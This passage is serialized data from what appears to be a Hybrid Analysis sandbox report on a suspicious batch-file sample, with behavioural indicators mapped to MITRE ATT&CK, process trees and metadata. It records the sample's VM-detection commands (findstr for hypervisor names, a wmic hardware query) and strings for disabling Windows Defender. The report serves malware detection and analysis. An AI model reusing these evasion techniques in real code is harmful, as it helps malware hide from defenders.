00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserNameExW\" (Indicator: \"GetUserName\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"Found string \"findstr /i \"vmware virtualbox qemu xen parallels\"\" (Indicator: \"findstr \"; Source: \"00000000-00004240-00000C47-2116816146\")","origin":"File/Memory","mitre_attack_id":"T1552","relevance":1,"id":"string-334","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Searches for patterns in files","description":"Process \"findstr.exe\" with commandline \"findstr /i \"vmware virtualbox qemu xen parallels\"\" (UID: 00000000-00003824)","origin":"Monitored Target","mitre_attack_id":"T1083","relevance":3,"id":"target-244","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"Found string \"OpenProcessToken\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\System32\\wbem\\WMIC.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00004456.00000000.221903.FA930000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"Shutdown System Privilege\" (Indicator: \"shutdown \") in Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp\n Observed string: \"Shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00004456.00000000.221903.FD0E0000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00004456.00000000.221903.64D4E000.00000002.mdmp, 00000000-00004456.00000000.221903.7AD62000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"WMIC.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"\"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CONHOST.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\WBEM\\WMIC.EXE\"; Value: \"\")\n \"cmd.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\FINDSTR.EXE\"; Value: \"\")\n \"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\"; Key: \"HOSTNAME\"; Value: \"\")\n \"WMIC.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\"; Key: \"DOMAIN\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"WMIC.exe\" at 00000000-00004456-00000C15-2344886787","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\system32\\findstr.exe\" launched with commandline \"findstr /i \"vmware virtualbox qemu xen parallels\"\" (UID: 00000000-00003824)\n Process \"%WINDIR%\\System32\\Wbem\\WMIC.exe\" launched with commandline \"wmic computersystem get manufacturer,model\" (UID: 00000000-00004456)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"suspicious","category":"Cryptographic Related","name":"The input file contains long Base64 encoded strings","description":"Contains long base64 encoded string \"RGltIFlDUnhVdCwgdnpZTmRQLCB2UUwzUnAsIEEzMVNWQSwgbVBIcmtrLCBDS2Znb2ssIFVHOGdlZSwgS3BSeVZOLCBwRGpqeHUs.......\" in [Source : 4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin]","origin":"Binary File","mitre_attack_id":"T1132","relevance":3,"id":"binary-52","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"suspicious","category":"Environment Awareness","name":"Attempts to create or manage virtual instances","description":"Process \"findstr.exe\" with commandline \"findstr /i \"vmware virtualbox qemu xen parallels\"\" (UID: 00000000-00003824)","origin":"Monitored Target","mitre_attack_id":"T1564.006","relevance":3,"id":"target-564","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"suspicious","category":"System Security","name":"Opens a handle to the specified local process","description":"\"WMIC.exe\" opens a process \"C:\\Windows\\System32\\wbem\\WMIC.exe\" (UID: 00000000-00004456)","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-284","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"level":"malicious","category":"System Security","name":"Able to execute commands through Windows command interpreter (ASP)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":5,"id":"string-847","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":58,"dropped_files_count":0,"extracted_files_count":0,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":null,"sample_flags":["Multi-Process"],"sandbox_reports":[{"id":"6993b6ff0061140ef00b5c6f","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"suspicious","threat_score":45,"submit_name":"4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin","analysis_start_time":"2026-02-17T00:32:00+00:00","indicators_count":{"informative":126,"suspicious":10,"malicious":1},"tags":["Multi-Process"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}],"processes":[{"pid":4240,"ppid":0,"name":"cmd.exe","command_line":"/c \"\"C:\\4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343.bin.bat\" \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00004240","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACWklEQVR4Xu2U208aQRSH/ef70KQvfWgbpQoYxaCNtSByWy7bEqiwVloVZFFAhXjvA3d4OZ3fKBuyDGYWo33ZSU6YwML3zTm/YW7OXvZ6XG/evqPXLDP/xQS+p9LCVzOfCwyHwxerwWBglGWBau2MAmGFWu023d3/pU1/gI718sRz02oc3u/3rQkAvuBepZ14iku4PV4KqWn64HBNPCsqM9yyAMrp2aDC2RUF4j8oltHoz+kFLa56DUHz80/Be72enABa/PGzm8N9kSQVz6/oqHZJh9UGHVTq9DWo0OKKl+ZdK0KJaXBpAcw5ltaoVL+l44sbJpHg7UdthWK8C79PzskXTfLRyMKlBRA2wNRcng4rDb4ffYY9uuBXVCOcsvButysngB/FjyNwaLtIQEnn+B6ysnBpAcDDaobKjTvSG7e81aMRfAvHH7JwWqdgMk2bvoA0XFoAwXIse8i19oX8UZVl4YZl4ZqHscDCuMUklthNwHUslnQO3tV+UTShPgnvdDpyAiMJvLrWNkhnYVSzedpJpNiVvKQlz7rR9kA4SgvOZf6ckxX226GIEG5JYFS4jrHHeWM0kMCfU6Va4wIAZvJFyus12i9VKbV3QPPsPRF8JgH8J+BaImwP4YwacIW1HCcH/P0nBy+tcMLGs04/s9oEvM2+b1nAXOOB283t8bbj5COB3FGZ5yMST07Any0gSjtGgLbj5IAns/t8BCL4swREcAQNgQMQbcfJsfcHI0J4q9WaTWAafPyqQSTD5j7t5IDPJCADF6VdBG82m9MFXrPMfHvZy17/bf0DbjT7Mj+JPksAAAAASUVORK5CYII="},{"pid":3824,"ppid":4240,"name":"findstr.exe","command_line":"findstr /i \"vmware virtualbox qemu xen parallels\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00004240","uid":"00000000-00003824"},{"pid":4456,"ppid":4240,"name":"WMIC.exe","command_line":"wmic computersystem get manufacturer,model","sha256":"a23c1b94d193ebe3d4cf647c653e41f63ba7b6d996c9a3de6380408c7e4a812e","normalized_path":"%WINDIR%\\System32\\Wbem\\WMIC.exe","parent_uid":"00000000-00004240","uid":"00000000-00004456"}],"all_imported_dlls":["ntdll.dll","rpcrt4.dll","fltLib.dll","bcrypt.dll","profapi.dll","MSOXMLMF.DLL","VxSSL64.dll","advapi32.dll","sxs.dll","coml2.dll","gdi32.dll","KernelBase.dll","ucrtbase.dll","win32u.dll","kernel.appcore.dll","version.dll","cmdext.dll","imagehlp.dll","cryptbase.dll","msIso.dll","uxtheme.dll","combase.dll","msvcr90.dll","shlwapi.dll","wbemcomn.dll","gdi32full.dll","msvcrt.dll","bcryptprimitives.dll","msxml6.dll","kernel32.dll","windows.storage.dll","vbscript.dll","msvcp_win.dll","user32.dll","sspicli.dll","powrprof.dll","ole32.dll","framedynos.dll","wbemprox.dll","SHCore.dll","wmiutils.dll","oleaut32.dll","dwmapi.dll","fastprox.dll","sechost.dll","imm32.dll","IPHLPAPI.DLL","urlmon.dll","cryptsp.dll","wbemsvc.dll","clbcatq.dll","iertutil.dll","wmi2xml.dll","amsi.dll","userenv.dll","Wfi6LejI.dll","ws2_32.dll","MpOAV.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4456:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"name":"SM0:4456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"name":"Local\\SM0:4456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"name":"Local\\SM0:4456:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"name":"SM0:4456:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4456:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6993b6ff0061140ef00b5c6f"}]}]}},"report_ids":{"sandbox_job_ids":["6993b6ff0061140ef00b5c6f"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Suspicious Sample 4da90557bd72… — Score 45/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Suspicious verdict for sample 4da90557bd72…. Threat score 45/100. 0/26 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343"}],["$","meta","4",{"property":"og:title","content":"Suspicious Sample 4da90557bd72… — Score 45/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Suspicious verdict for sample 4da90557bd72…. Threat score 45/100. 0/26 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/4da90557bd724fee747a693df7fe07c2c6c6f7ed9a07a252ff498942d33c6343"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Suspicious Sample 4da90557bd72… — Score 45/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Suspicious verdict for sample 4da90557bd72…. Threat score 45/100. 0/26 AV engines flagged this file. 1 malicious and 6 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3f","11",{}]]